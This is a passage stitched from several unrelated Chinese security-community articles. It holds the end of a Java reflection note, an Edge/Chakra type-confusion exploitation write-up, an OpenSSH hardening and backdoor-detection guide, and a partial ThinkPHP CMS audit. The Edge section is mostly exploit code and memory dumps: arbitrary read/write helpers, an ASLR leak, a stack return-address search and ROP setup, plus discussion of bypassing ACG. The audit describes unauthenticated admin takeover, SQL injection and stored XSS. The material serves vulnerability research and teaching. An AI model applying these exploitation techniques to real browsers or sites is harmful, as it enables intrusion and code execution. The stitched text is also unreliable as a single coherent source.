那么 分析到这里 我们可以得出 这里的MethodAccessor对象就是反射类的入口 也就是我们反射中的源头 可以借用这张图 来更加生动形象的说明
### Ending...
本文主要以p牛的Java安全漫谈为基础 结合了sp4c1ous师傅的框架 学习了各位师傅们的大小文章 得到了这篇文章 此文作为进入Java安全学习的第一步
更加主要的是以各种初见的名词进行解释 对一些方法进行理解 望各位师傅们斧正
### 参考文献
<https://www.cnblogs.com/chanshuyi/p/head_first_of_reflection.html>
<https://blog.csdn.net/mingyuli/article/details/112103702>
<http://www.whrizyl819.xyz/2022/03/06/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E5%8F%8D%E5%B0%84%E5%9F%BA%E7%A1%80/>
<https://blog.csdn.net/qq_33521184/article/details/105212040> | 社区文章 |
# Edge Type Confusion利用：从内存读写到控制流程
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本篇原创文章参加双倍稿费活动，预估稿费为800元，活动链接请点[此处](https://www.anquanke.com/post/id/98410)
### 传送门：[Edge Type Confusion利用：从type
confused到内存读写](https://www.anquanke.com/post/id/98774)
>
> 在上一部分中我们通过在NativeIntArray的Segment数据区中伪造DataView对象获得了内存读写的能力，在这部分目标是进一步由内存读写到控制程序执行流。
## 准备工作
在Edge中地址等数据都是64位的，但是在目前的Javascript中不支持Int64类型，这样就没有办法直接通过DataView读出64位或者对64位整数进行运算，这里需要我们自己做一些工作来方便数据操作
Because JavaScript doesn't currently include standard support for 64-bit integer values, js-ctypes offers the Int64 and UInt64 objects to let you work with C functions and data that need (or may need) values represented using a 64-bit data type.
You use the Int64 object to create and manipulate 64-bit signed integers.
通过自己定义一个Int64类型，使用low、high两部分int32储存int64
function Int64(low,high)
{
this.low = low;
this.high = high;
}
为了方便读写，编写了r64、w64这些函数，可以直接拿来操作数据。
function r64(addr)
{
fake_object[14]=addr.low;
fake_object[15]=addr.high;
return new Int64(obj.getUint32.call(arr[0],0,true),
obj.getUint32.call(arr[0],4,true));
}
function r32(addr)
{
fake_object[14]=addr.low;
fake_object[15]=addr.high;
return obj.getUint32.call(arr[0],0,true);
}
function w64(addr,value)
{
fake_object[14]=addr.low;
fake_object[15]=addr.high;
return new Int64(obj.setUint32.call(arr[0],0,value.low,true),
obj.setUint32.call(arr[0],4,value.high,true));
}
## bypass ASLR
ASLR使得进程模块的地址不固定，但是由于这里我们已经具有了通过DataView读写内存的能力，所以可以直接选择泄漏对象虚表获取模块基址。
调试发现在fake DataView上方存在一个NativeIntArray对象(其实就是为了伪造DataView创建的那个)，偏移是0x58
var vtable_addr=new Int64(DataView_basel-0x58,DataView_baseh);
var vtable_value=r64(vtable_addr);
print(vtable_value.low.toString(16));
print(vtable_value.high.toString(16));
通过DataView读出NativeIntArray vtable地址是0x7ff82a42c7d0，offset是0x18051C7D0，
得到Charka.dll的基址为0x7ff6a9f10000。
## bypass DEP
因为存在DEP保护，内存不具有可执行权限。在老版本的浏览器中可以考虑通过劫持对象的虚表进行利用，但是在edge中存在cfg保护，cfg保护了程序中的间接调用，对于cfg来说似乎没有什么太好的公开可用的绕过方法。所以另一个比较简单的利用思路是通过栈，通过控制栈的返回地址来进行rop。
## 寻找栈地址
想通过栈进行利用，首先要找到栈的返回地址。目前的漏洞操作其实都是位于edge的custom
heap上的，要想通过栈进行利用需要通过堆上的数据结构获取栈的地址。
由于已经具有任意地址读写的能力，我们需要找到一个恰当的数据结构来获取这个地址。
实际的获取过程可以说比较曲折，中心思想是在threadContext对象中保存着域stackLimitForCurrentThread，这个域保存着本线程线程栈的上界，可以利用这个值通过计算和搜索得出返回值的栈地址。
获取这个值的过程比较复杂，首先可以从任意Dynamic Object中获取Type Object的地址。这个Type
Object的类型是无所谓的，因为目标是其中的JavascriptLibrary指针。
在Chakra中除了立即数等基本上所有的对象都是Dynamic对象，也继承自DynamicObject类，所有的Dynamic Object都有Type
Object来表示类型和保存一些信息。
在这里上一篇文章中伪造DataView时用到的JavascriptNativeIntArray自然也属于DynamicObject，我们使用这个DynamicObject中的TypeObject来完成操作。
0x000001B1354C80A0 00007ff826c8c7d0 ???&?... <=nativeArray
0x000001B1354C80A8 000001b135484f80 €OH5?... <=type object
0x000001B1354C80B0 0000000000000000 ........
0x000001B1354C80B8 0000000000000005 ........
0x000001B1354C80C0 0000000000000010 ........
0x000001B1354C80C8 000001b1354c80e0 ?€L5?...
0x000001B1354C80D0 000001b1354c80e0 ?€L5?...
0x000001B1354C80D8 000001a9352189c0 ??!5?...
0x000001B1354C80E0 0000001000000000 ........
0x000001B1354C80E8 0000000000000012 ........
0x000001B1354C80F0 0000000000000000 ........
0x000001B1354C80F8 00000000000004d2 ?.......
0x000001B1354C8100 000001b1354c8108 .?L5?...
0x000001B1354C8108 0000000000000038 8.......
0x000001B1354C8110 000001b1354c7cc8 ?|L5?...
0x000001B1354C8118 0000000000000200 ........
0x000001B1354C8120 000001b1354c80b8 ?€L5?...
0x000001B1354C8128 0000000000000000 ........
0x000001B1354C8130 000001b1354c80a0 ?€L5?...
let type_addr=new Int64(DataView_basel-0x50,DataView_baseh);
let type_value=r64(type_addr);
print('TypeObject address');
print(type_value.high.toString(16));
print(type_value.low.toString(16));
这里成功获得了Type Object的地址0x233e89f4f80
接下来看Type Object的内存(不同次调试结果，地址不同)，Type Object偏移0x8的地方是javascriptLibrary的指针
0x000001B135484F80 000000000000001d ........ <= Type Object
0x000001B135484F88 000001b135498000 .€I5?... <= javascriptLibrary
0x000001B135484F90 000001b1354b0000 ..K5?...
我们需要获取javascriptLibrary对象的地址
let jslib_addr=new Int64(type_value.low+0x8,type_value.high);
let jslib_value=r64(jslib_addr);
print('javascriptLibrary address');
print(jslib_value.high.toString(16));
print(jslib_value.low.toString(16));
得到javascriptLibrary对象的地址是0x21f5bd08000(不同次调试结果，地址不同)
然而事情还没完，获得JavascriptLibrary的地址是为了得到其中的scriptcontext指针。JavascriptLibrary这个结构比较大，scriptcontext位于偏移0x430的位置
javascriptLibrary
0x000001B135498000 00007ff826cc3768 h7?&?...
0x000001B135498008 000001b135490000 ..I5?...
0x000001B135498010 000001b1354c0c00 ..L5?...
0x000001B135498018 000001b1354c0c80 €.L5?...
0x000001B135498020 000001b1354c0d00 ..L5?...
0x000001B135498028 000001b1354c0d80 €.L5?...
0x000001B135498030 000001b135487fc0 ?.H5?...
0x000001B135498038 000001b1354c0600 ..L5?...
0x000001B135498040 000001b1354c0680 €.L5?...
0x000001B135498048 000001b1354c0700 ..L5?...
0x000001B135498050 000001b1354c0780 €.L5?...
0x000001B135498058 000001b1354c0800 ..L5?...
0x000001B135498060 000001b1354c0880 €.L5?...
0x000001B135498068 000001b1354c0900 ..L5?...
0x000001B135498070 000001b1354c0980 €.L5?...
0x000001B135498078 000001b1354c0a00 ..L5?...
0x000001B135498080 000001b1354c0a80 €.L5?...
0x000001B135498088 000001b1354c0500 ..L5?...
0x000001B135498090 000001b1354c0580 €.L5?...
0x000001B135498098 000001b1354c0040 @.L5?...
0x000001B1354980A0 000001b1354c0280 €.L5?...
0x000001B1354980A8 000001b1354c0300 ..L5?...
0x000001B1354980B0 000001b1354c03c0 ?.L5?...
0x000001B1354980B8 000001b135487f40 @.H5?...
0x000001B1354980C0 000001b1354c00c0 ?.L5?...
0x000001B1354980C8 000001b1354b00d0 ?.K5?...
0x000001B1354980D0 000001b1354c0440 @.L5?...
0x000001B1354980D8 0000000000000000 ........
0x000001B1354980E0 000001b1354c0e80 €.L5?...
0x000001B1354980E8 000001b1354c0f00 ..L5?...
0x000001B1354980F0 000001b1354c0f80 €.L5?...
0x000001B1354980F8 000001b1354c1000 ..L5?...
0x000001B135498100 000001b1354c1080 €.L5?...
0x000001B135498108 000001b1354c1100 ..L5?...
0x000001B135498110 000001b1354c1180 €.L5?...
0x000001B135498118 000001b1354c0140 @.L5?...
0x000001B135498120 000001b1354c0200 ..L5?...
0x000001B135498128 000001b1354c0e00 ..L5?...
0x000001B135498130 0000000000000000 ........
0x000001B135498138 000001b135486f40 @oH5?...
0x000001B135498140 000001b135486fc0 ?oH5?...
0x000001B135498148 000001b1354870c0 ?pH5?...
0x000001B135498150 000001b1354871c0 ?qH5?...
0x000001B135498158 000001b1354872c0 ?rH5?...
0x000001B135498160 000001b1354873c0 ?sH5?...
0x000001B135498168 0000000000000000 ........
0x000001B135498170 0000000000000000 ........
0x000001B135498178 0000000000000000 ........
0x000001B135498180 000001b1354874c0 ?tH5?...
0x000001B135498188 000001b1354875c0 ?uH5?...
0x000001B135498190 0000000000000000 ........
0x000001B135498198 000001b1354acae0 ??J5?...
0x000001B1354981A0 0000000000000000 ........
0x000001B1354981A8 0000000000000000 ........
0x000001B1354981B0 000001b1354acb00 .?J5?...
0x000001B1354981B8 000001b1354acb20 ?J5?...
0x000001B1354981C0 000001b1354c0b80 €.L5?...
0x000001B1354981C8 000001b1354acac0 ??J5?...
0x000001B1354981D0 000001b1354b0000 ..K5?...
0x000001B1354981D8 000001b1354ac040 @?J5?...
0x000001B1354981E0 000001b1354ac060 `?J5?...
0x000001B1354981E8 000001b1354ac080 €?J5?...
0x000001B1354981F0 000001b1354ac0a0 ??J5?...
0x000001B1354981F8 000001b1354ac0c0 ??J5?...
0x000001B135498200 000001b1354ac0e0 ??J5?...
0x000001B135498208 000001b1354ac100 .?J5?...
0x000001B135498210 000001b1354ac120 ?J5?...
0x000001B135498218 000001b1354ac140 @?J5?...
0x000001B135498220 000001b1354ac160 `?J5?...
0x000001B135498228 000001b1354ac180 €?J5?...
0x000001B135498230 000001b1354ac1a0 ??J5?...
0x000001B135498238 000001b1354ac1c0 ??J5?...
0x000001B135498240 000001b1354ac1e0 ??J5?...
0x000001B135498248 000001b1354ac000 .?J5?...
0x000001B135498250 000001b1354ac020 ?J5?...
0x000001B135498258 0000000000000000 ........
0x000001B135498260 000001b1354741b0 ?AG5?...
0x000001B135498268 000001b1354a8090 ?€J5?...
0x000001B135498270 000001b135474240 @BG5?...
0x000001B135498278 000001b1354741e0 ?AG5?...
0x000001B135498280 000001b135474180 €AG5?...
0x000001B135498288 000001b1354c1200 ..L5?...
0x000001B135498290 000001b135474210 .BG5?...
0x000001B135498298 000001b1354ac220 ?J5?...
0x000001B1354982A0 000001b1354ac240 @?J5?...
0x000001B1354982A8 000001b1354ac260 `?J5?...
0x000001B1354982B0 000001b1354ac280 €?J5?...
0x000001B1354982B8 000001b1354ac200 .?J5?...
0x000001B1354982C0 000001b1354ac2a0 ??J5?...
0x000001B1354982C8 000001b1354ac2c0 ??J5?...
0x000001B1354982D0 000001b1354ac2e0 ??J5?...
0x000001B1354982D8 000001b1354ac300 .?J5?...
0x000001B1354982E0 000001b1354ac320 ?J5?...
0x000001B1354982E8 000001b1354ac340 @?J5?...
0x000001B1354982F0 000001b1354ac360 `?J5?...
0x000001B1354982F8 000001b1354ac380 €?J5?...
0x000001B135498300 000001b1354ac3a0 ??J5?...
0x000001B135498308 0000000000000000 ........
0x000001B135498310 000001b1354846c0 ?FH5?...
0x000001B135498318 000001b135484740 @GH5?...
0x000001B135498320 000001b1354847c0 ?GH5?...
0x000001B135498328 000001b135484840 @HH5?...
0x000001B135498330 000001b1354848c0 ?HH5?...
0x000001B135498338 000001b135484940 @IH5?...
0x000001B135498340 000001b1354849c0 ?IH5?...
0x000001B135498348 0000000000000000 ........
0x000001B135498350 0000000000000000 ........
0x000001B135498358 0000000000000000 ........
0x000001B135498360 0000000000000000 ........
0x000001B135498368 0000000000000000 ........
0x000001B135498370 0000000000000000 ........
0x000001B135498378 0000000000000000 ........
0x000001B135498380 0000000000000000 ........
0x000001B135498388 0000000000000000 ........
0x000001B135498390 0000000000000000 ........
0x000001B135498398 0000000000000000 ........
0x000001B1354983A0 000001b1354ac900 .?J5?...
0x000001B1354983A8 000001b1354ac920 ?J5?...
0x000001B1354983B0 0004000000000000 ........
0x000001B1354983B8 000c000000000000 ........
0x000001B1354983C0 800c000000000000 .......€
0x000001B1354983C8 bff521fb54442d18 .-DT?!??
0x000001B1354983D0 fffc000000000001 ......?.
0x000001B1354983D8 8013ffffffffffff .......€
0x000001B1354983E0 7ffc000000000000 ......?.
0x000001B1354983E8 000001b1354a4020 @J5?...
0x000001B1354983F0 000001b1354a4010 .@J5?...
0x000001B1354983F8 000001b1354ac6e0 ??J5?...
0x000001B135498400 000001b1354ac700 .?J5?...
0x000001B135498408 000001b1354ac720 ?J5?...
0x000001B135498410 000001b1354ac740 @?J5?...
0x000001B135498418 000001b1354ac760 `?J5?...
0x000001B135498420 000001b1354ac780 €?J5?...
0x000001B135498428 000001b1354ac7a0 ??J5?...
0x000001B135498430 000001a93529b6e0 ??)5?... <=scriptcontext +0x430
获得了scriptcontext的地址是0x264e2fb6e0，scriptcontent中保存的threadContent指针是我们最终的目标。scriptcontent这个结构同样比较大，threadContent指针位于0x4f0偏移的位置。
scriptontent
0x000001A93529B6E0 000001b135498000 .€I5?...
0x000001A93529B6E8 000001b135490000 ..I5?...
0x000001A93529B6F0 0000000000000000 ........
0x000001A93529B6F8 0000000000000000 ........
0x000001A93529B700 0000000000000000 ........
0x000001A93529B708 0000000000000000 ........
0x000001A93529B710 0000000000000000 ........
0x000001A93529B718 0000000000000000 ........
0x000001A93529B720 0000000000000000 ........
0x000001A93529B728 0000000000000002 ........
0x000001A93529B730 00007ff826c8c130 0??&?...
0x000001A93529B738 00007ff826c8c7d0 ???&?...
0x000001A93529B740 00007ff826c8ba90 ???&?...
0x000001A93529B748 0000000000000000 ........
0x000001A93529B750 0000000000000000 ........
0x000001A93529B758 0000000000000000 ........
0x000001A93529B760 00007ff826bea020 ??&?...
0x000001A93529B768 00007ff82679a980 €?y&?...
0x000001A93529B770 00007ff826bea5b0 ???&?...
0x000001A93529B778 00007ff826bea600 .??&?...
0x000001A93529B780 0000000000000000 ........
0x000001A93529B788 0000000000000000 ........
0x000001A93529B790 0000000000000000 ........
0x000001A93529B798 0000000000000000 ........
0x000001A93529B7A0 0000000000000000 ........
0x000001A93529B7A8 0000000000000000 ........
0x000001A93529B7B0 0000000000000000 ........
0x000001A93529B7B8 0000000000000000 ........
0x000001A93529B7C0 0000000000000000 ........
0x000001A93529B7C8 0000000000000000 ........
0x000001A93529B7D0 0000000000000000 ........
0x000001A93529B7D8 0000000000000000 ........
0x000001A93529B7E0 0000000000000000 ........
0x000001A93529B7E8 0000000000000000 ........
0x000001A93529B7F0 0000000000000000 ........
0x000001A93529B7F8 0000000000000000 ........
0x000001A93529B800 0000000000000000 ........
0x000001A93529B808 0000000000000000 ........
0x000001A93529B810 0000000000000000 ........
0x000001A93529B818 0000000000000000 ........
0x000001A93529B820 0000000000000000 ........
0x000001A93529B828 0000000000000000 ........
0x000001A93529B830 0000000000000000 ........
0x000001A93529B838 0000000000000000 ........
0x000001A93529B840 0000000000000000 ........
0x000001A93529B848 0000000000000000 ........
0x000001A93529B850 0000000000000000 ........
0x000001A93529B858 0000000000000000 ........
0x000001A93529B860 0000000000000000 ........
0x000001A93529B868 0000000000000000 ........
0x000001A93529B870 0000000000000000 ........
0x000001A93529B878 0000000000000000 ........
0x000001A93529B880 0000000000000000 ........
0x000001A93529B888 0000000000000000 ........
0x000001A93529B890 0000000000000000 ........
0x000001A93529B898 0000000000000000 ........
0x000001A93529B8A0 0000000000000000 ........
0x000001A93529B8A8 0000000000000000 ........
0x000001A93529B8B0 0000000000000000 ........
0x000001A93529B8B8 0000000000000000 ........
0x000001A93529B8C0 0000000000000000 ........
0x000001A93529B8C8 0000000000000000 ........
0x000001A93529B8D0 0000000000000000 ........
0x000001A93529B8D8 0000000000000000 ........
0x000001A93529B8E0 0000000000000000 ........
0x000001A93529B8E8 0000000000000000 ........
0x000001A93529B8F0 0000000000000000 ........
0x000001A93529B8F8 0000000000000000 ........
0x000001A93529B900 0000000000000000 ........
0x000001A93529B908 0000000000000000 ........
0x000001A93529B910 0000000000000000 ........
0x000001A93529B918 0000000000000000 ........
0x000001A93529B920 0000000000000000 ........
0x000001A93529B928 0000000000000000 ........
0x000001A93529B930 0000000000000000 ........
0x000001A93529B938 0000000000000000 ........
0x000001A93529B940 0000000000000000 ........
0x000001A93529B948 0000000000000000 ........
0x000001A93529B950 0000000000000000 ........
0x000001A93529B958 0000000000000000 ........
0x000001A93529B960 0000000000000000 ........
0x000001A93529B968 0000000000000000 ........
0x000001A93529B970 0000000000000000 ........
0x000001A93529B978 0000000000000000 ........
0x000001A93529B980 0000000000000000 ........
0x000001A93529B988 0000000000000000 ........
0x000001A93529B990 0000000000000000 ........
0x000001A93529B998 0000000000000000 ........
0x000001A93529B9A0 0000000000000000 ........
0x000001A93529B9A8 0000000000000000 ........
0x000001A93529B9B0 0000000000000000 ........
0x000001A93529B9B8 0000000000000000 ........
0x000001A93529B9C0 0000000000000000 ........
0x000001A93529B9C8 0000000000000000 ........
0x000001A93529B9D0 0000000000000000 ........
0x000001A93529B9D8 0000000000000000 ........
0x000001A93529B9E0 0000000000000000 ........
0x000001A93529B9E8 0000000000000000 ........
0x000001A93529B9F0 0000000000000000 ........
0x000001A93529B9F8 0000000000000000 ........
0x000001A93529BA00 0000000000000000 ........
0x000001A93529BA08 0000000000000000 ........
0x000001A93529BA10 0000000000000000 ........
0x000001A93529BA18 0000000000000000 ........
0x000001A93529BA20 0000000000000000 ........
0x000001A93529BA28 000001a93524c040 @?$5?...
0x000001A93529BA30 00007ff8267771b0 ?qw&?...
0x000001A93529BA38 00007ff82693a5a0 ???&?...
0x000001A93529BA40 000001a93521c010 .?!5?...
0x000001A93529BA48 0000000000000000 ........
0x000001A93529BA50 0000000000000000 ........
0x000001A93529BA58 000001a9352909a0 ?.)5?...
0x000001A93529BA60 000001a93521d120 ?!5?...
0x000001A93529BA68 0000000000000000 ........
0x000001A93529BA70 000001a93521e000 .?!5?...
0x000001A93529BA78 00000000000007d0 ?.......
0x000001A93529BA80 0000000000000003 ........
0x000001A93529BA88 000001a935210210 ..!5?...
0x000001A93529BA90 00007ff8267771b0 ?qw&?...
0x000001A93529BA98 00007ff82693a5a0 ???&?...
0x000001A93529BAA0 0000000000000000 ........
0x000001A93529BAA8 0000000000000000 ........
0x000001A93529BAB0 0000000000000000 ........
0x000001A93529BAB8 000001a9352909a0 ?.)5?...
0x000001A93529BAC0 0000000000000000 ........
0x000001A93529BAC8 0000000000000000 ........
0x000001A93529BAD0 0000000000000000 ........
0x000001A93529BAD8 0000000000000000 ........
0x000001A93529BAE0 0000000000000000 ........
0x000001A93529BAE8 0000000000000000 ........
0x000001A93529BAF0 00007ff8267771b0 ?qw&?...
0x000001A93529BAF8 00007ff82693a5a0 ???&?...
0x000001A93529BB00 000001a935211010 ..!5?...
0x000001A93529BB08 0000000000000000 ........
0x000001A93529BB10 0000000000000000 ........
0x000001A93529BB18 000001a9352909a0 ?.)5?...
0x000001A93529BB20 000001a935211890 ?.!5?...
0x000001A93529BB28 0000000000000000 ........
0x000001A93529BB30 000001a935212000 . !5?...
0x000001A93529BB38 0000000000000000 ........
0x000001A93529BB40 0000000000000001 ........
0x000001A93529BB48 0000000000000000 ........
0x000001A93529BB50 00007ff8267771b0 ?qw&?...
0x000001A93529BB58 00007ff82693a5a0 ???&?...
0x000001A93529BB60 0000000000000000 ........
0x000001A93529BB68 0000000000000000 ........
0x000001A93529BB70 0000000000000000 ........
0x000001A93529BB78 000001a9352909a0 ?.)5?...
0x000001A93529BB80 0000000000000000 ........
0x000001A93529BB88 0000000000000000 ........
0x000001A93529BB90 0000000000000000 ........
0x000001A93529BB98 0000000000000000 ........
0x000001A93529BBA0 0000000000000000 ........
0x000001A93529BBA8 0000000000000000 ........
0x000001A93529BBB0 0000000000000000 ........
0x000001A93529BBB8 000001b135398320 ?95?...
0x000001A93529BBC0 000001a93529e550 P?)5?...
0x000001A93529BBC8 0000000000000000 ........
0x000001A93529BBD0 000001a9352908a0 ?.)5?... <=threadContext +0x4f0
threadContext的地址是0x264e2f08a0
得到threadContext的地址之后就可以读出stackLimitForCurrentThread的值
0x000001A9352908A0 00007ff826c8b6e0 ???&?... <=threadContext
0x000001A9352908A8 0000000000000000 ........
0x000001A9352908B0 0000000000000000 ........
0x000001A9352908B8 000001a935208220 ? 5?...
0x000001A9352908C0 000001a935209030 0? 5?...
0x000001A9352908C8 0000000000000000 ........
0x000001A9352908D0 0000000000000000 ........
0x000001A9352908D8 0000000000000000 ........
0x000001A9352908E0 0000000000000000 ........
0x000001A9352908E8 0000000000000000 ........
0x000001A9352908F0 0000000000000000 ........
0x000001A9352908F8 0000000000000000 ........
0x000001A935290900 0000000000000000 ........
0x000001A935290908 000001b135398180 €?95?...
0x000001A935290910 0000000000000000 ........
0x000001A935290918 00007df400000001 ....?}..
0x000001A935290920 0000001024f0c000 .??$.... <=stackLimitForCurrentThread +0x80
let stack_addr=new Int64(tdctx_value.low+0x80,tdctx_value.high);
let stack_value=r64(stack_addr);
print('threadContext address');
print(stack_value.high.toString(16));
print(stack_value.low.toString(16));
stackLimitForCurrentThread的值是0x2ecdc0c000表示栈的上界，通过上界可以确定栈的大致范围之后根据返回地址进行搜索。
简单的回顾一下获取栈地址的过程：JavascriptNativeIntArray->Type
Object->JavascriptLibrary->ScriptContent->threadContent->stackLimitForCurrentThread
## 劫持返回地址
前面我们获得了栈的大概地址，为了获得栈中确切的返回地址需要进行搜索。
首先确定栈的大致搜索范围，因为栈是从高地址向低地址扩展的，用stackLimitForCurrentThread加上0xf0000获得一个大概的搜索起点。
返回地址通过前面泄漏Chakra.dll模块基址已经得知，只要搜索匹配返回地址就可以得到JavascriptString::EntrySlice函数返回时程序的rsp的地址。
let search_start=new Int64(stack_value.low+0xf0000,stack_value.high);
var addr=new Int64(search_start.low,search_start.high);
var ret_value_offset=0x47a472;
var ret_value=new Int64(dll_base.low+ret_value_offset,dll_base.high);
for (var i = 8; i < 0x10000; i += 8)
{
addr=new Int64(search_start.low+i,search_start.high);
let val = r64(addr);
print('==========');
print('read address');
print(addr.high.toString(16));
print(addr.low.toString(16));
print('read value');
print(val.high.toString(16));
print(val.low.toString(16));
print('ret value');
print(ret_value.high.toString(16));
print(ret_value.low.toString(16));
if (equals(ret_value,val))
{
print('find!!!!!!!!!!!!!!!!!');
break;
}
}
获取到rsp的位置之后再进行一些准备工作就可以进行rop了，首先把这段寻找和修改rsp的代码放入String.prototype.slice中，这种做法我认为只是为了调试方便，因为String.prototype.slice的对应函数`JavascriptString::EntrySlice`是已知的并且只调用一次，amd64_CallFunction()是每个函数都会进行调用。在构造rop时可以比较方便的对rop
chain进行定位，当然不用也是没有任何问题的。
''.slice({valueOf:function(){
//代码
}}
DataView::EntryGetUint32(Js::RecyclableObject * function, Js::CallInfo callInfo, ...)
JavascriptString::EntrySlice(Js::RecyclableObject * function, Js::CallInfo callInfo, ...)
amd64_CallFunction()
## 进行Rop
传参顺序是rcx、rdx、r8、r9。因为chakra模块代码量比较大，这些gadgets都可以比较容易找到(很多gadgets是指令错位出来的)。
现在我们通过rop来调用目标的函数
w64(addr1,gadgets1);
w64(addr2,gadgets2);
w64(addr3,gadgets3);
按照正常的思路可以通过rop调用VirtualProtectEx获得可写可执行的内存来执行shellcode。但是对于当前版本的edge来说这种方法不再可行，在17年4月的创意者更新里新添加了Arbitrary
Code Guard和Code Integrity
Guard缓解措施。它会阻止映射可执行内存，因此也就不能通过VirtualProtectEx来执行shellcode。
对于ACG来说，似乎也没有可以公开的比较好的解决办法，比较巧的是几天前project zero刚刚披露了一种bypass方法，这里简单介绍一下。
edge为了实现ACG使用一个独立的进程来处理JIT，这个JIT进程与页面进程是通过文件映射(section
object)进行交互的。因为JIT是需要执行的，所以共享section映射出来的内存是具有执行权限的。如果在页面进程映射section之前提前占位这块内存(需要预测这个地址)，并在里面写入我们的内容。在section进行映射之后，这块内存就具有了可执行权限，重要的是我们之前写入的内容不会被覆盖。
Ivan Fratric给出了蛮详细的调试过程，感兴趣的同学可以尝试一下
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1435> | 社区文章 |
# 【技术分享】OpenSSH安全浅析
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**SSH与OpenSSH**
SSH 是建立在应用层基础上的安全协议，是目前较可靠，专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH
协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序，后来又迅速扩展到其他操作平台。我们常用的OpenSSH就是SSH协议的开源实现。
**SSH与Shell组成**
IETF RFC 4251 到 4256 将 SSH 定义为 “经由一个不安全网络进行远程登录和其他安全网络服务的安全 shell 协议”。shell
由三个主要元素组成。
传输层协议：提供服务器身份验证、隐私和具有完美转发隐私的完整性。该层可以提供可选压缩且通过一个 TCP/IP
连接运行，但是也可用于任何其他可靠的数据流之上。
用户认证协议：从服务器到客户端进行身份验证，且通过传输层运行。
连接协议：多路传输加密隧道到多个逻辑通道，通过用户认证协议运行。
**如何让我们的OpenSSH更安全**
**一、基础配置，服务端配置文件为/etc/ssh/sshd_config**
1、将 root 账户仅限制为控制台访问
PermitRootLogin no
2、仅使用 SSH Protocol 2
3、禁用空密码
PermitEmptyPasswords no
4、用户登录控制
AllowUsers user1@host1 user1@!* *@*
DenyUsers user2
5、配置 Idle Log Out Timeout 间隔
ClientAliveInterval 300
ClientAliveCountMax 0
6、禁用基于主机的身份验证
HostbasedAuthentication no
7、禁用用户的 .rhosts 文件
IgnoreRhosts yes
8、强密码策略（生成14位随机字符密码）
</dev/urandom tr -dc '!@#$%^&*()-+=0-9a-zA-Z' | head -c14; echo ""
9、pam_chroot
通过ssh远程登录的用户将被限制在jail环境中。
10、访问控制
tcpwrapper(/etc/hosts.allow，/etc/hosts.deny)
iptables（限制源IP等）
**二、攻防对抗**
一旦攻击者获取了相关权限，就可能安装openssh后门、或者隐身登录等。接下来我们看看如何让攻击者无所遁形。
隐身登录（登录后，不能通过w、who查看到）
通过ssh –T来连接，但-T相当于notty，ctrl+C会中断会话；
另外，大家都知道，w查看时是通过utmp二进制log，如果攻击者在获取权限后，只要修改了utmp，就可以达到隐身效果，管理员再登录上来的时候，通过w、who就看不到已经登录的攻击者了，如下所示。
当然，这样操作会造成整个utmp为空，如果是在管理员登录之后再操作的话，还是会发现异常的。
同时也要处理下wtmp，否则还是会被审计到。
那么如何快递排查呢，我们可以通过ps命令查看进程，如下图所示。
我们可以看到当攻击者处理掉自己的记录后，管理员虽然通过w、who看不到，但是进程中却存在着攻击者登录申请的TTY。
以上只是简单的隐藏，通常情况下，攻击者获取权限后，会安装openssh后门，成功运行后门后，攻击者通过后门登录将不记录任何日志，正常用户登录该主机或者通过该主机通过ssh连接其他主机时，都会被后门记录到账号密码。
这里我们介绍如何利用操作系统自身的工具手工快速查找后门，主要用到strace、strings、grep。
通过openssh后门功能中会记录正常用户登录账号密码，因此猜测会用到open系统调用，只要在登录是用strace跟踪sshd打开的系统调用，然后过滤open，就应该能获取到记录密码的文件及路径。
strace –o ssh –ff –p pid
可以看到记录文件中关键字为user:password，而且因为后门密码是硬编码在后门patch中的，因此我们通过关键字利用strings可以找到攻击者的openssh后门密码。
如果安全意识不高的攻击者使用了自己攻击机器的通用密码，通过抓包获取到攻击者攻击IP后，就有可能控制攻击者的机器。（意淫）
攻击者通过openssh后门登录后，w、who同样看不到登录信息，但ps查看进程，仍然可以看到申请到的TTY，也可以快速发现攻击行为。
以上只是最基础一些小tips，欢迎各位大佬拍砖。
本篇文章为悬镜安全实验室原创文章，如需转载请标注来源：[http://lab.xmirror.cn/](http://lab.xmirror.cn/)。
**悬镜安全实验室介绍:**
悬镜安全实验室由资深安全专家结合多年的安全工程实施经验和技术储备为行业客户提供专业的安全保障和安全咨询等服务，主要包括：服务器防黑加固、高级渗透测试、安全事件应急响应、信息系统安全风险评估、安卓App风险评估及APT模拟攻击测试等，全天候7*24位金融、电商、开发者和政企客户的各类应用服务提供一站式【云+端】防黑加固解决方案。 | 社区文章 |
## 0x01 框架结构
采用thinkphp5作为框架，版本为5.0.2，默认开启debug模式，数据库默认使用PDO连接
打了补丁，修复了RCE通用漏洞
如图，增加了白名单，不能任意调用其他方法进行利用
## 0x02 Admin.php
### 任意修改管理员用户名及密码
漏洞点：
admin/controller/Admin.php
_initialize()方法：在任何方法执行之前，都要执行此方法，包括_construct构造函数。
跟进一下父类的_initialize()方法
方法为空，无语住了
所以该方法相当于只获取了Session而没有进行判断，可以未授权调用管理员方法
接下来跟进一下doUpdate方法
可以看到`$user_id`和`$data['username']`都是通过用户输入获取而没有使用Session，字段都可控，并且存在sql注入
POC:
### SQL注入
还是doUpdate方法
重点看这一条：
`$is_have = Db::name('admin')->where("id != $user_id AND username =
'".$data['username']."'")->value('id');`
该sql语句直接将字符串进行拼接而没有使用PDO绑定，并且`$user_id`也没有用引号包裹
看下input方法
作用是从某个指定的来源中获取数据，但默认过滤器为空
回到之前，`$user_id`和`$data['username']`获取数据时都没有使用过滤器，所以两个字段都是注入点
POC:
懒得手注了，直接sqlmap一把梭
## 0x03 Index.php 用户留言处存储型XSS
漏洞点：
api/Index.php
可以看到`$data`没有进行过滤，也没有限制列名，但下面会将一些特定字段进行覆盖
可控的有`id`、`username`、`telephone`、`acreage`字段，但真正可利用的只有`username`和`acreage`
POC:
## 0x04 Controller.php
### 任意增删改查数据表内容
漏洞点：
admin/controller/Admin.php
admin/traits/controller/Controller.php
根据上文已经了解到Admin.php未进行鉴权，并且引入了一个公共控制器`Controller.php`，我们来跟进一下
先看下index方法
首先用`$controller = $this->request->controller()`获取当前请求的控制器名称，然后通过`$m =
